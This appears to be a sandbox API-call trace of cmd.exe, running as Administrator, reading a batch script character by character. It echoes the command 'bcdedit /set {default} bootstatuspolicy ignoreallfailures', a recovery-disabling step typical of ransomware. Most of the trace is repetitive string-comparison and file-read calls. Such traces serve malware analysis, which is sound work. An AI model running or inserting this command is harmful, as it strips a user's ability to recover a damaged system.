	[0230.710] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c70, cchWideChar=1 | out: lpWideCharStr="set\n") returned 1
	[0230.710] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.710] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.710] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.710] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c72, cchWideChar=1 | out: lpWideCharStr="pt\n") returned 1
	[0230.710] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.710] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.710] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.710] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c74, cchWideChar=1 | out: lpWideCharStr="o\n") returned 1
	[0230.710] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.710] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.710] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.710] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c76, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0230.710] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.710] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.710] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.710] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c78, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0230.710] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.710] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.710] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.710] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c7a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0230.710] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.710] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.711] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.711] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c7c, cchWideChar=1 | out: lpWideCharStr="y") returned 1
	[0230.711] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.711] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.711] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.711] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c7e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0230.711] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.711] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.711] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.711] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c80, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0230.711] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.711] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.711] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.711] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c82, cchWideChar=1 | out: lpWideCharStr="g") returned 1
	[0230.711] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.711] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.711] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.711] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c84, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0230.711] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.711] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.712] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.712] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c86, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0230.712] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.712] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.712] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.712] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c88, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0230.712] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.712] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.712] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.712] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c8a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0230.712] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.712] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.712] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.712] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c8c, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0230.712] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.712] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.712] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.712] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c8e, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0230.712] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.712] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.712] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.712] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c90, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0230.712] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.712] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.712] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.713] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c92, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0230.713] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.713] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.713] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.713] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c94, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0230.713] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.713] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.713] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.713] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c96, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0230.713] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.713] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.713] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.713] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c98, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0230.713] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.713] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.713] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.713] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c9a, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0230.713] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.713] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.713] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.713] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c9c, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0230.713] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.713] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.713] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.714] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c9e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0230.714] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.714] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.714] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.714] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593ca0, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0230.714] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.714] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.714] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0230.714] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593ca2, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0230.714] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.714] GetFileType (hFile=0x228) returned 0x3
	[0230.714] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.714] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0230.714] _get_osfhandle (_FileHandle=1) returned 0x234
	[0230.714] GetFileType (hFile=0x234) returned 0x3
	[0230.714] _get_osfhandle (_FileHandle=1) returned 0x234
	[0230.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="bcdedit /set {default} bootstatuspolicy ignoreallfailures\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcdedit /set {default} bootstatuspolicy ignoreallfailures\n", lpUsedDefaultChar=0x0) returned 59
	[0230.714] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc90e98f8c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f8c8*=0x3a, lpOverlapped=0x0) returned 1
	[0230.714] GetProcessHeap () returned 0x1d2f7770000
	[0230.714] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x4012) returned 0x1d2f7778380
	[0230.714] GetProcessHeap () returned 0x1d2f7770000
	[0230.714] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778380) returned 1
	[0230.715] _wcsicmp (_String1="bcdedit", _String2=")") returned 57
	[0230.715] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4
	[0230.715] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4
	[0230.715] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7
	[0230.715] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7
	[0230.715] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16
	[0230.715] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16
	[0230.715] GetProcessHeap () returned 0x1d2f7770000
	[0230.715] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xb0) returned 0x1d2f7776c00
	[0230.715] GetProcessHeap () returned 0x1d2f7770000
	[0230.715] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x20) returned 0x1d2f77781b0
	[0230.723] GetProcessHeap () returned 0x1d2f7770000
	[0230.723] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x76) returned 0x1d2f7776cc0
	[0230.724] GetConsoleOutputCP () returned 0x1b5
	[0230.939] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0230.939] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0230.940] GetConsoleTitleW (in: lpConsoleTitle=0xc90e98f710, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0230.940] malloc (_Size=0xffce) returned 0x1d2f7890840
	[0230.940] ??_V@YAXPEAX@Z () returned 0x1d2f7890840
	[0230.940] malloc (_Size=0xffce) returned 0x1d2f78a0820
	[0230.940] ??_V@YAXPEAX@Z () returned 0x1d2f78a0820
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0230.941] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0230.942] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
